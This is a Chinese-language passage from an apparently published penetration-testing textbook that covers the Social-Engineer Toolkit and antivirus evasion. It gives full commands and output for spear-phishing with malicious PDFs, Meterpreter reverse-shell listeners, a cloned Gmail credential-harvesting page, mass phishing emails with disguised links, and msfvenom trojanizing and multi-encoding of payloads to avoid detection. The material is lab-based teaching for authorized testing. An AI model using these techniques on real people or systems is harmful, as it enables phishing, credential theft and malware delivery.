公司应该投入时间和精力，培训所有员工识别社交工程攻击。无论你部署什么样的安全技术，员工都必须能够使用他们的工作站、移动设备等来完成工作。他们将接触到敏感信息或安全控制，这些如果落入不当之手，可能会对组织造成伤害。一些安全意识培训看起来很显然，比如“不要与任何人分享你的密码”和“在为他人打开安全区域的门之前，检查他们的工作证”。其他的安全意识培训可能对许多员工来说是新的。例如，在一些渗透测试项目中，我曾成功地将 USB 闪存盘放在停车场，或者将标有“工资单”的 DVD 放在浴室地板上。好奇的用户开始插入这些设备，打开文件，从而让我获得了他们系统的访问权限。关于恶意文件、USB 切换刀和其他攻击的安全意识培训，可以帮助阻止用户成为这些类型的社交工程攻击的受害者。

社交工程工具包

TrustedSec 的社交工程工具包（SET）是一个开源的 Python 驱动工具，旨在帮助你在渗透测试过程中执行社交工程攻击。SET 将帮助你创建各种攻击，例如电子邮件钓鱼活动（旨在通过特别针对性的邮件窃取凭证、财务信息等）和基于网页的攻击（如克隆客户网站并欺骗用户输入他们的登录凭证）。

SET 预装在 Kali Linux 中。要在 Kali Linux 中启动 SET，请在提示符下输入setoolkit，如示例 11-1 所示。我们将使用 SET 来执行社交工程攻击，因此在提示符下输入1，进入社交工程攻击菜单。系统会提示你接受服务条款。

示例 11-1. 启动 SET

root@kali:~# setoolkit
--*snip*--
 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
--*snip*--
  99) Exit the Social-Engineer Toolkit

set> **1**

在本章中，我们将仅介绍我在渗透测试中常用的几种 SET 攻击。我们将从 Spear-Phishing 攻击开始，它允许我们通过电子邮件进行攻击。

Spear-Phishing 攻击

社交工程攻击菜单为我们提供了几种攻击选项，如示例 11-2 所示。我们将创建一个 Spear-Phishing 攻击，这将允许我们创建用于客户端攻击（如第十章中介绍的攻击）的恶意文件，通过电子邮件发送，并自动设置 Metasploit 处理程序以捕获有效载荷。

示例 11-2. 选择Spear-Phishing 攻击向量

Select from the menu:

   1) Spear-Phishing Attack Vectors ❶
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
--*snip*--
  99) Return back to the main menu.

set> **1**

选择选项1来选择Spear-Phishing Attack Vectors ❶。Spear-Phishing Attack Vectors 菜单在示例 11-3 中显示。

示例 11-3. 选择执行群发邮件攻击

   1) Perform a Mass Email Attack ❶
   2) Create a FileFormat Payload ❷
   3) Create a Social-Engineering Template ❸
--*snip*--
  99) Return to Main Menu

set:phishing> **1**

第一个选项，执行群发邮件攻击 ❶，允许我们将恶意文件发送到预定义的电子邮件地址或地址列表，并为所选的载荷设置一个 Metasploit 监听器。第二个选项，创建一个文件格式载荷 ❷，允许我们创建一个带有 Metasploit 载荷的恶意文件。第三个选项允许我们创建一个新的电子邮件模板 ❸，用于 SET 攻击。

选择选项 1 来创建一个电子邮件攻击。（稍后我们将有机会选择发送单封邮件或群发邮件。）

选择载荷

现在选择一个载荷。载荷选项的选择可参考示例 11-4。

示例 11-4. 选择一项鱼叉式网络钓鱼攻击

           ********** PAYLOADS **********

   1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
--*snip*--
  12) Adobe util.printf() Buffer Overflow ❶
--*snip*--
  20) MSCOMCTL ActiveX Buffer Overflow (ms12-027)

set:payloads> **12**

例如，要重新创建我们在第十章中的 PDF 攻击，选择选项 12：Adobe util.printf() 缓冲区溢出 ❶。（SET 包含许多 Metasploit 攻击，以及其自身的特定攻击。）

系统会提示你选择一个恶意文件的载荷（参见示例 11-5）。

示例 11-5. 选择载荷

1) Windows Reverse TCP Shell              Spawn a command shell on victim and
                                            send back to attacker
2) Windows Meterpreter Reverse_TCP        Spawn a meterpreter shell on victim
                                            and send back to attacker ❶

--*snip*--

set:payloads> **2**

常见的载荷都在这里，包括 windows/meterpreter/reverse_tcp，它以更易读的形式显示为 Windows Meterpreter Reverse_TCP ❶。我们将选择此选项进行示例攻击。

设置选项

SET 应该提示输入载荷的相关选项，在这种情况下是 LHOST 和 LPORT。如果你不太熟悉 Metasploit，只需根据提示设置正确的选项，系统会自动配置，如示例 11-6 所示。将载荷监听器设置为 Kali Linux 的 IP 地址。将回连接端口保留为默认端口（443）。

示例 11-6. 设置选项

set> IP address for the payload listener: **192.168.20.9**
set:payloads> Port to connect back on [443]:
[-] Defaulting to port 443...
[-] Generating fileformat exploit...
[*] Payload creation complete.
[*] All payloads get sent to the /usr/share/set/src/program_junk/template.pdf directory
[-] As an added bonus, use the file-format creator in SET to create your attachment.

命名你的文件

接下来，系统会提示你为你的恶意文件命名。

Right now the attachment will be imported with filename of 'template.whatever'
   Do you want to rename the file?
   example Enter the new filename: moo.pdf
    1\. Keep the filename, I don't care.
    2\. Rename the file, I want to be cool. ❶

set:phishing> **2**
set:phishing> New filename: **bulbsecuritysalaries.pdf**
[*] Filename changed, moving on...

选择选项 2 ❶ 来重命名恶意 PDF 文件，并输入文件名 bulbsecuritysalaries.pdf。SET 应该继续。

单个邮件或群发邮件

现在决定是让 SET 将恶意文件发送到单个电子邮件地址还是一个地址列表，具体可参考示例 11-7。

示例 11-7. 选择执行单一电子邮件地址攻击

   Social Engineer Toolkit Mass E-Mailer

   What do you want to do:

   1\.  E-Mail Attack Single Email Address ❶
   2\.  E-Mail Attack Mass Mailer ❷
   99\. Return to main menu.

set:phishing> **1**

目前选择单个电子邮件地址选项 ❶。（稍后我们将在群发邮件攻击中看到如何发送群发邮件 ❷。）

创建模板

在撰写电子邮件时，我们可以使用 SET 的电子邮件模板之一，或输入一次性使用的文本。此外，如果选择 创建一个社交工程模板，则可以创建一个可以重复使用的模板。

我的许多社会工程学客户喜欢我使用看起来像是来自公司高管或 IT 经理的伪造邮件，宣布新网站功能或新的公司政策。现在让我们使用 SET 的一个电子邮件模板作为示例来伪造这封电子邮件，如示例 11-8 所示；我们将在本章稍后自己创建电子邮件。

示例 11-8. 选择电子邮件模板

   Do you want to use a predefined template or craft a one time email template.
   1\. Pre-Defined Template
   2\. One-Time Use Email Template

set:phishing> **1**
[-] Available templates:
1: Strange internet usage from your computer
2: Computer Issue
3: New Update
4: How long has it been
5: WOAAAA!!!!!!!!!! This is crazy...
6: Have you seen this?
7: Dan Brown's Angels & Demons
8: Order Confirmation
9: Baby Pics
10: Status Report
set:phishing> **5**

选择1为预定义模板，然后选择模板5。

设置目标

现在 SET 应该提示你输入目标电子邮件地址和用于发送攻击邮件的邮件服务器。你可以使用自己的邮件服务器、一个配置错误的服务器（允许任何人发送邮件，称为开放转发），或者 Gmail 账户，如示例 11-9 所示。让我们通过选择选项1来使用 Gmail 进行这次攻击。

示例 11-9. 使用 SET 发送电子邮件

set:phishing> Send email to: **georgia@metasploit.com**

  1\. Use a gmail Account for your email attack.
  2\. Use your own server or open relay

set:phishing> **1**
set:phishing> Your gmail email address: **georgia@bulbsecurity.com**
set:phishing> The FROM NAME user will see: **Georgia Weidman**
Email password:
set:phishing> Flag this message/s as high priority? [yes|no]: **no**
[!] Unable to deliver email. Printing exceptions message below, this is most likely due to an illegal attachment. If using GMAIL they inspect PDFs and is most likely getting caught. ❶
[*] SET has finished delivering the emails

当提示时，输入你的 Gmail 账户的电子邮件地址和密码。SET 应该尝试发送消息。但正如你在列表底部的消息中看到的那样，Gmail 会检查附件并拦截我们的攻击❶。

当然，这只是第一次尝试。如果你能够收集或猜测凭据，你可能会使用自己的邮件服务器或客户的邮件服务器得到更好的结果。

当然，在这个示例中，我只是将电子邮件发送给我自己。我们在第五章中使用过像 theHarvester 这样的工具来找到有效的电子邮件地址进行目标攻击。

设置监听器

我们还可以让 SET 设置一个 Metasploit 监听器来捕获我们的有效载荷，如果有人打开了电子邮件附件。即使你不熟悉 Metasploit 语法，你也应该能够使用 SET 根据我们在设置选项中选择的选项来设置此攻击。你可以看到，SET 使用资源文件根据我们在构建有效载荷时的先前回答自动设置有效载荷、LHOST和LPORT选项（见示例 11-10）。

示例 11-10. 设置监听器

set:phishing> Setup a listener [yes|no]: **yes**
Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro's wizard -- type 'go_pro' to launch it now.

       =[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops

[*] Processing src/program_junk/meta_config for ERB directives.
resource (src/program_junk/meta_config)> use exploit/multi/handler
resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 192.168.20.9
LHOST => 192.168.20.9
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
--*snip*--
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf  exploit(handler) >
[*] Started reverse handler on 192.168.20.9:443
[*] Starting the payload handler...

现在我们等待一个好奇的用户打开我们的恶意 PDF 并发送会话给我们。使用 ctrl-C 关闭监听器并输入exit返回到上一个菜单。选项 99 将把你带回 SET 的社会工程学攻击菜单。

网络攻击

在这一部分，我们将讨论基于 Web 的攻击。返回到社会工程攻击菜单(示例 11-2)，选择选项2（网站攻击向量）。这是我在具有社会工程学组件的渗透测试中最常用的攻击类型，因为它模拟了许多现实中看到的社会工程学攻击。

你应该会看到一个列出的网站攻击列表，如示例 11-11 所示。

示例 11-11. SET 网站攻击

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
--*snip*--
  99) Return to Main Menu

set:webattack> **3**

这里是一些攻击的描述：

Java 小程序攻击方法自动化了我们在第十章中使用的 Java 签名小程序攻击。
Metasploit 浏览器利用方法使你可以使用 Metasploit 的所有浏览器客户端攻击，而无需手动设置参数，也不需要了解 Metasploit 的语法。
凭据收集者攻击方法帮助创建网站，诱使用户交出他们的凭据信息。
Tabnabbing 攻击方法依赖于用户在浏览器中打开多个标签页的习惯。当用户第一次打开攻击页面时，它会显示“请稍等。”自然，用户会在等待期间切换回其他标签页。一旦攻击标签页不再处于焦点，它会加载攻击网站（可以是你喜欢的任何网站的克隆），目的是诱使用户提供其凭据或与恶意网站进行交互。假设用户会使用他遇到的第一个看起来合法的标签页。

选择选项 3，即 凭据收集者攻击方法。

接下来，你应该会看到一个提示，询问你想要选择什么类型的网站。我们可以从一些预构建的网站模板中选择，使用站点克隆器从互联网上克隆一个网站，或者使用自定义导入导入一个自定义网页。选择选项 1 来使用 SET 模板（参见示例 11-12）。

示例 11-12. SET 网站模板选项

   1) Web Templates
   2) Site Cloner
   3) Custom Import
--*snip*--
  99) Return to Webattack Menu

set:webattack> **1**

现在输入网站的 IP 地址，以便将凭据发送回去。我们可以直接使用 Kali 虚拟机的本地 IP 地址，但如果你将此攻击用在客户端，你将需要一个面对互联网的 IP 地址。

IP Address for the POST back in Harvester: **192.168.20.9**

现在选择一个模板。因为我们想诱使用户输入凭据，所以选择一个带有登录字段的模板，比如 Gmail（选项 2），如示例 11-13 所示。SET 现在应该会启动一个 Web 服务器，显示我们的假 Gmail 页面，这是实际 Gmail 页面的克隆。

示例 11-13. 设置网站

  1\. Java Required
  2\. Gmail
  3\. Google
  4\. Facebook
  5\. Twitter
  6\. Yahoo

set:webattack> Select a template: **2**

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...
The best way to use this attack is if the username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:

现在浏览到克隆的 Gmail 网站，位于 Kali Linux Web 服务器上，并输入一些凭据以查看其工作原理。输入凭据后，你应该会被重定向到真实的 Gmail 网站。对于用户来说，似乎只是他输入密码时出错了。与此同时，回到 SET 中，你应该看到类似于示例 11-14 的结果。

示例 11-14. SET 捕获凭据

192.168.20.10 - - [10/May/2015 12:58:02] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
PARAM: ltmpl=default
--*snip*--
PARAM: GALX=oXwT1jDgpqg
POSSIBLE USERNAME FIELD FOUND: Email=georgia❶
POSSIBLE PASSWORD FIELD FOUND: Passwd=password❷
--*snip*--
PARAM: asts=
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

当用户提交页面时，SET 会高亮显示它认为感兴趣的字段。在此情况下，它找到了提交的电子邮件 ❶ 和密码 ❷。一旦你通过 ctrl-C 关闭 Web 服务器以结束 Web 攻击，结果应写入一个文件中。

当与接下来讨论的电子邮件攻击结合使用时，这是一种很好的攻击方式，可以用来收集渗透测试的凭证，或者至少测试客户员工的安全意识。

请注意，如果使用选项5，网站克隆器，来复制客户的网站，这个攻击会更加有趣。如果他们的网站没有任何登录表单（如 VPN、Webmail、博客等），你甚至可以创建一个。克隆他们的网站，并添加一个简单的 HTML 表单，如下所示：

<form name="input" action="index.html" method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="pwd"><br>
<input type="submit" value="Submit"><br>
</form>

然后使用选项3，自定义导入，让 SET 提供你修改后的页面。

批量电子邮件攻击

现在使用 SET 来自动化钓鱼邮件攻击。创建一个文件，并按如下方式逐行输入几个电子邮件地址。

root@kali:~# cat emails.txt
**georgia@bulbsecurity.com**
**georgia@grmn00bs.com**
**georgia@metasploit.com**

现在返回主菜单 SET 社会工程攻击菜单，选择选项99（示例 11-15），然后选择选项5，批量邮件攻击。大型的抄送或密送列表可能会触发垃圾邮件过滤器，或者让用户察觉到异常，手动逐个发送给大量客户员工的电子邮件也非常繁琐，因此我们将使用 SET 来一次性发送多封邮件（参见示例 11-15）。脚本在处理此类重复任务时非常有效。

示例 11-15. 设置电子邮件攻击

set> **5**

    1\.  E-Mail Attack Single Email Address
    2\.  E-Mail Attack Mass Mailer
--*snip*--
    99\. Return to main menu.

set:mailer> **2**
--*snip*--
set:phishing> Path to the file to import into SET: **/root/emails.txt**❶

选择选项2，并输入要导入的电子邮件地址文件名 ❶。

接下来，我们需要选择一个服务器（参见示例 11-16）。我们再使用 Gmail——选择选项1。当系统提示时，输入你的凭证。

示例 11-16. 登录 Gmail

1\. Use a gmail Account for your email attack.
2\. Use your own server or open relay

set:phishing> **1**
set:phishing> Your gmail email address: **georgia@bulbsecurity.com**
set:phishing> The FROM NAME the user will see: **Georgia Weidman**
Email password:
set:phishing> Flag this message/s as high priority? [yes|no]: **no**

你将被要求创建发送的电子邮件，如示例 11-17 中所示。

示例 11-17. 发送电子邮件

set:phishing> Email subject: **Company Web Portal**
set:phishing> Send the message as html or plain? 'h' or 'p': **h**❶
[!] IMPORTANT: When finished, type END (all capital) then hit {return} on a new line.
set:phishing> Enter the body of the message, type END (capitals) when finished: **All**
Next line of the body:
Next line of the body: **We are adding a new company web portal. Please go to <a href= "192.168.20.9">http://www.bulbsecurity.com/webportal</a> and use your Windows domain credentials to log in.**
Next line of the body:
Next line of the body: **Bulb Security Administrator**
Next line of the body: **END**
[*] Sent e-mail number: 1 to address: georgia@bulbsecurity.com
[*] Sent e-mail number: 2 to address: georgia@grmn00bs.com
[*] Sent e-mail number: 3 to address: georgia@metasploit.com
[*] Sent e-mail number: 4 to address:
[*] SET has finished sending the emails
      Press <return> to continue

当被问到是否将电子邮件设置为纯文本或 HTML 时，选择h 作为 HTML ❶。通过使用 HTML 格式的电子邮件，我们可以更好地隐藏邮件中链接的真实目的地，例如通过图形等方式。

现在输入邮件的文本。由于我们选择了 HTML 格式的邮件，因此可以在邮件中使用 HTML 标签。例如，以下代码创建了一个链接供收件人点击：<a href="192.168.20.9">http://www.bulbsecurity.com/webportal</a>。显示的文本表明该链接指向 www.bulbsecurity.com/webportal，但实际点击时会在浏览器中打开 192.168.20.9。我们控制着 192.168.20.9 上的网站，因此可以在那里放置浏览器漏洞或钓鱼攻击。在邮件中加入一些文字，以说服用户点击附带的链接。在这里，你可以特别发挥创意。例如，在示例 11-17 中，我们通知用户新增了一个公司门户，并建议他们使用域凭据登录查看。在渗透测试中，采用更好的方法是注册一个公司域名的变种（例如 bulb-security.com），或者使用轻微拼写错误（如 bulbsecurty.com），这样用户不容易察觉，然后将你的社会工程学网站托管在该域名下。

完成邮件后，按下 ctrl-C 发送邮件。邮件将发送到我们之前输入的 emails.txt 文件中的每个地址。

收件人将看到此邮件：

各位，

我们正在添加一个新的公司网页门户。请访问 www.bulbsecurity.com/webportal，并使用您的 Windows 域凭据登录。

Bulb 安全管理员

虽然具有安全意识的用户应该知道不要点击来自不信任来源的电子邮件中的链接，并且他们会知道在点击之前如何验证链接指向的位置，但并非所有用户都具备这种意识，即使是那些安全意识强的用户也并不总是保持警惕。事实上，我从未进行过一次失败的社会工程学测试。

多重攻击方式

让我们将之前的两个攻击方式（凭证收集和钓鱼邮件）结合起来，诱使员工将他们的凭证提交到由渗透测试人员控制的网站。我们将通过电子邮件攻击和网页攻击相结合，诱使用户点击邮件中的链接，转到由攻击者控制的网站。

但在此之前，我们需要更改 SET 配置文件中的一个选项。在 Kali 系统中，此文件位于 /usr/share/set/config/set_config。需要更改的选项是 WEB_ATTACK_EMAIL，默认设置为 OFF。请在文本编辑器中打开 config 文件，并将此选项更改为 ON。

### Set to ON if you want to use Email in conjunction with webattack
WEBATTACK_EMAIL=ON

现在再次尝试运行凭证收集攻击。你可以不使用模板，直接克隆客户的登录网页（例如 Webmail 或员工门户），如果客户有这类网站的话。如果客户没有登录网页，则使用 Custom Import 选项构建一个自定义页面，使其看起来像员工的网页，并添加登录表单。

摘要

在本章中，我们仅看了一些可以通过 SET 自动化的社会工程学攻击。你的攻击脚本将根据客户的需求而变化。一些客户可能有特定的攻击场景，或者你可能发现需要同时进行多个攻击。例如，你可能会创建一个多管齐下的攻击，其中你收集凭证，而恶意网站运行一个恶意的 Java 小程序。除了我们在这里讨论的基于网页的攻击和恶意文件，SET 还可以创建其他攻击，例如 USB 闪存驱动器、二维码和恶意无线接入点。

第十二章. 绕过防病毒应用程序

你的渗透测试客户很可能会使用某种防病毒解决方案。到目前为止，本书中的恶意可执行文件没有被防病毒应用程序删除，但防病毒程序规避是一个不断变化的领域。通常，你通过使用内存损坏漏洞并直接将负载加载到内存中——也就是说，永不触及磁盘——更有可能避免被检测到。话虽如此，随着攻击领域的转变，越来越强调客户端和社会工程学攻击，可能并非总能避免将负载写入磁盘。在本章中，我们将研究几种方法，尝试在将负载写入磁盘时隐藏我们的恶意软件，以避免被检测到。

木马

在第四章中，我们创建了一个独立的恶意可执行文件，运行 Metasploit 负载。尽管我们可能通过社会工程学手段欺骗用户下载并运行我们的恶意文件，但除了执行文件的负载外没有任何其他功能，可能会让用户意识到有异常。如果我们能够将负载隐藏在一个正常运行的合法程序中，并让负载在后台运行，我们将更有可能避开检测。这种程序被称为木马，它源自传说中的木马，结束了特洛伊战争。木马看似是一个无害的贡品，被带入曾经固若金汤的特洛伊城墙内，敌军士兵藏身其中，准备发起攻击。

在第八章中，我们遇到了一个木马：我们 Ubuntu 目标机上的 Vsftpd 服务器有一个后门，可以通过在用户名中输入一个笑脸符号来触发登录。攻击者侵入了 Vsftpd 的源代码仓库，并在程序中加入了额外的木马功能。从初次被攻破到被发现之间，任何从官方仓库下载 Vsftpd 的人都会得到一个被木马化的版本。

Msfvenom

尽管反向工程二进制文件或获取源代码并手动添加木马代码超出了本书的范围，但 Msfvenom 工具有一些选项，我们可以用它将 Metasploit 负载嵌入到合法的二进制文件中。示例 12-1 展示了我们在之前的内容中未曾遇到的一些重要选项。

示例 12-1. Msfvenom 帮助页面

root@kali:~# msfvenom -h
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>

Options:
    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to
                                      use custom payloads
--*snip*--
  ❶-x, --template   [path]           Specify a custom executable file to use
                                       as a template
  ❷-k, --keep                        Preserve the template behavior and inject
                                      the payload as a new thread
--*snip*--

特别地，-x 标志 ❶ 允许我们使用可执行文件作为模板，在其中嵌入我们选择的有效负载。然而，尽管生成的可执行文件看起来与原始文件相似，添加的有效负载将暂停原始程序的执行，我们不应期望用户在启动时遇到看似挂起的可执行文件会多次运行。幸运的是，Msfvenom 的 -k 标志 ❷ 将保持可执行模板的完整性，并在新线程中运行我们的有效负载，从而允许原始可执行文件正常运行。

让我们使用 -x 和 -k 标志构建一个被植入木马的 Windows 可执行文件，它对用户看起来是正常的，但将在后台向我们发送一个 Meterpreter 会话。为此，我们使用 -p 标志选择有效负载，并按照第四章中的说明设置相关的有效负载选项。任何合法的可执行文件都可以使用；你可以在 Kali Linux 的 /usr/share/windows-binaries 中找到一些有用的 Windows 二进制文件用于渗透测试。

要将有效负载嵌入到 radmin.exe 二进制文件中，输入：

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -f exe > radmin.exe

我们的 Msfvenom 命令使用 -p 选项指定生成的有效负载。我们将 LHOST 选项设置为 Kali 的 IP 地址，这是有效负载运行时回调的系统。我们还可以设置 LPORT 选项。如本节所讨论，-x 选项选择一个可执行文件作为有效负载的嵌入目标。-k 选项将在独立线程中运行有效负载。-f 标志告诉 Msfvenom 将有效负载构建为可执行格式。一旦创建完成，在 Windows XP 或 Windows 7 目标上运行这个被植入木马的二进制文件。Radmin Viewer 程序应该看起来正常运行（图 12-1），但嵌入的有效负载应该为我们提供一个 Meterpreter 会话，前提是我们使用 multi/handler 模块设置了处理程序。

图 12-1. 被植入木马的 Radmin Viewer 可执行文件检查 MD5 哈希以查找木马

我们的木马二进制文件应该能够让普通用户相信该程序是合法的。具有安全意识的用户应该在运行下载的文件之前，通过检查其 MD5 哈希值与供应商发布的值进行验证文件的完整性，前提是供应商提供了该值。MD5 哈希是一种文件指纹；如果文件发生更改，MD5 哈希也会随之变化。

让我们比较原始的 radmin.exe 与我们被植入木马的版本的 MD5 哈希值。在 Kali Linux 中，md5sum 程序将计算文件的 MD5 哈希值。对两个二进制文件运行 md5sum，你会发现它们的哈希值有显著差异，如 ❶ 和 ❷ 所示。

root@kali:~# md5sum /usr/share/windows-binaries/radmin.exe
❶2d219cc28a406dbfa86c3301e8b93146  /usr/share/windows-binaries/radmin.exe

root@kali:~# md5sum radmin.exe
❷4c2711cc06b6fcd300037e3cbdb3293b  radmin.exe

然而，MD5 哈希算法并不完美，经过篡改的二进制文件可能与原始文件具有相同的 MD5 哈希值，这被称为 MD5 碰撞攻击。因此，许多供应商也会发布一个安全哈希算法（SHA）哈希值。

当然，检查两个独立的哈希值比检查一个要好。SHA 家族包含多种哈希算法，所使用的版本会因厂商而异。Kali 自带多种 SHA 哈希计算工具。例如，sha512sum计算 64 位块大小的 SHA-2 哈希，如下所示。

root@kali:~# sha512sum /usr/share/windows-binaries/radmin.exe
5a5c6d0c67877310d40d5210ea8d515a43156e0b3e871b16faec192170acf29c9cd4e495d2e03b8d
7ef10541b22ccecd195446c55582f735374fb8df16c94343  /usr/share/windows-binaries/radmin.exe
root@kali:~# sha512sum radmin.exe
f9fe3d1ae405cc07cd91c461a1c03155a0cdfeb1d4c0190be1fb350d43b4039906f8abf4db592b060
d5cd15b143c146e834c491e477718bbd6fb9c2e96567e88  radmin.exe

在安装软件时，务必计算您下载版本的哈希值，并与厂商发布的值进行比较。

杀毒应用程序的工作原理

在我们尝试不同的技术将 Metasploit 有效载荷绕过杀毒程序之前，让我们讨论一下这些程序是如何工作的。大多数杀毒解决方案首先通过将潜在的危险代码与组成杀毒定义的一组模式和规则进行比较，来匹配已知的恶意代码。杀毒定义会随着每个厂商识别到新的恶意软件而定期更新。这种识别方式称为静态分析。

除了基于签名集的静态分析外，更多高级的杀毒解决方案还会进行恶意活动的检测，称为动态分析。例如，一个尝试替换硬盘上所有文件，或每 30 秒连接到已知的僵尸网络指挥与控制服务器的程序，正在表现出潜在的恶意活动，并可能被标记。

注意

一些杀毒产品，如 Google 的 Bouncer，会在上传到 Google Play 商店并通过静态分析的新应用程序中，在隔离的沙盒中运行，以尝试检测没有已知恶意签名的恶意活动。

微软安全防护软件

在本节中，我们将使用不同的方法降低检测率，请记住，即使您未能在所有杀毒厂商中获得 0%的检测率，如果您知道客户端环境中部署的是哪种杀毒解决方案，您可以集中精力清除该特定杀毒程序。在本章中，我们将尝试使用各种方法绕过微软安全防护软件。

在第一章中创建我们的 Windows 7 目标时，我们安装了微软安全防护软件，但我们没有开启实时保护功能以扫描下载或安装的文件。现在让我们开启此保护功能，看看是否能创建一个无法被检测到的木马。打开微软安全防护软件，选择设置标签，选择实时保护，勾选框以开启此服务，如图 12-2 所示。点击保存更改。

图 12-2 微软安全防护软件实时保护

截至目前，即使是免费的防病毒解决方案，如 Microsoft Security Essentials，也能有效地捕捉到 Metasploit 有效载荷。为了进行真实测试，尝试在开启实时保护的情况下安装木马程序radmin.exe。您应该会在屏幕右下角看到一个弹出窗口，如图 12-3 中所示。该文件会在用户运行之前被自动删除——这无疑会影响事情的进展。

图 12-3. 检测到恶意软件

VirusTotal

查看哪些防病毒解决方案会将某个程序标记为恶意的一种方法是将该文件上传到 VirusTotal 网站（www.virustotal.com/）。截至目前，VirusTotal 使用 51 个防病毒程序扫描上传的文件，并报告哪些程序检测到恶意软件。VirusTotal 在图 12-4 中展示。

图 12-4. VirusTotal

要查看哪些防病毒程序将我们目前编写的木马程序radmin.exe检测为恶意文件，可以将文件上传到 VirusTotal 并点击扫描它！。由于防病毒定义不断更新，您的结果可能会有所不同，但正如在图 12-5 中所示，51 个扫描器中有 25 个检测到我们的文件为恶意文件。（页面底部显示了哪些扫描器检测到恶意软件。）

图 12-5. 木马二进制防病毒检测

注意

VirusTotal 与防病毒厂商共享上传的二进制文件，以便他们编写匹配的签名。防病毒公司利用 VirusTotal 的签名来改进其检测引擎，因此您上传到该网站的任何文件可能仅仅因为您上传了它就被防病毒软件检测到。为了避免这个风险，您可以在虚拟机上安装防病毒产品，并像我们在上一节中所做的那样手动测试您的木马。

绕过防病毒程序

很明显，如果我们想要绕过防病毒解决方案，我们需要更加努力地隐藏。除了将有效载荷直接放入可执行文件中，我们还可以尝试一些其他有用的方法来隐藏我们的 Metasploit 有效载荷。

编码

编码器是一些工具，可以帮助你避免在漏洞利用中出现会破坏漏洞利用的字符。（当我们在第十六章到第十九章编写自己的漏洞利用时，你会了解更多这些要求。）在撰写本文时，Metasploit 支持 32 种编码器。编码器会破坏有效载荷并添加解码指令，确保在执行之前解码有效载荷。普遍的误解是，Metasploit 的编码器是为了帮助绕过杀毒软件而设计的。某些 Metasploit 编码器会生成多态代码或变异代码，确保每次生成的编码有效载荷看起来都不同。这个过程使得杀毒软件厂商更难为有效载荷创建签名，但正如我们将看到的，它不足以绕过大多数杀毒解决方案。

要列出 Msfvenom 中所有可用的编码器，请使用-l encoders选项，正如示例 12-2 所示。

示例 12-2：Msfvenom 编码器

root@kali:~# msfvenom -l encoders
Framework Encoders
==================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/generic_sh                good       Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder
--*snip*—
  ❶x86/shikata_ga_nai             excellent  Polymorphic XOR Additive Feedback Encoder
--*snip*--

唯一一个排名优秀的编码器是* x86/shikata_ga_nai * ❶。Shikata Ga Nai是日语，意思是“无能为力”。编码器的排名基于输出的熵值。使用shikata_ga_nai时，即使解码器的存根也是多态的。这个编码器如何工作的细节超出了本书的范围，但可以简要地说，它会将有效载荷破坏到难以识别的程度。

告诉 Msfvenom 使用shikata_ga_nai编码器，并使用-e标志，正如示例 12-3 所示。此外，为了进一步混淆，我们将通过多个编码器运行有效载荷，每一轮都使用-i标志对前一轮的输出进行编码，并指定编码轮数（此例为 10 轮）。

示例 12-3：使用 Msfvenom 创建编码的可执行文件

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -e x86/shikata_ga_nai -i 10 -f exe > meterpreterencoded.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
--*snip*--
[*] x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)

现在，将生成的二进制文件上传到 VirusTotal。正如你在图 12-6 中看到的，35 款测试过的杀毒软件检测到了我们的有效载荷，即使它已经经过编码。与我们将有效载荷嵌入到预构建可执行文件中的检测率相比，这个检测率更高。换句话说，shikata_ga_nai单独使用并不能解决问题。

图 12-6：VirusTotal 对编码二进制文件的检测结果

为了看看是否可以改进我们的结果，我们可以尝试使用多个 Metasploit 编码器对有效载荷进行实验。例如，我们可以将多轮shikata_ga_nai与另一个 Metasploit 编码器x86/bloxor结合使用，正如示例 12-4 所示。

示例 12-4. 使用 Msfvenom 进行多重编码

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -e x86/shikata_ga_nai -i 10 -f raw❶ **> meterpreterencoded.bin**❷
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
--*snip*--
[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)
root@kali:~# msfvenom -p -❸ **-f exe -a x86**❹ **--platform windows**❺ **-e x86/bloxor -i 2 > meterpretermultiencoded.exe < meterpreterencoded.bin**❻
[*] x86/bloxor succeeded with size 638 (iteration=1)
[*] x86/bloxor succeeded with size 712 (iteration=2)

这次，我们像之前一样使用 Msfvenom，选择windows/meterpreter/reverse_tcp有效载荷并使用shikata_ga_nai进行编码。然而，与之前设置格式为.exe不同，这次我们输出为原始格式❶。另外，这次我们不是将结果输出到.exe文件中，而是将原始字节输出到.bin文件❷中。

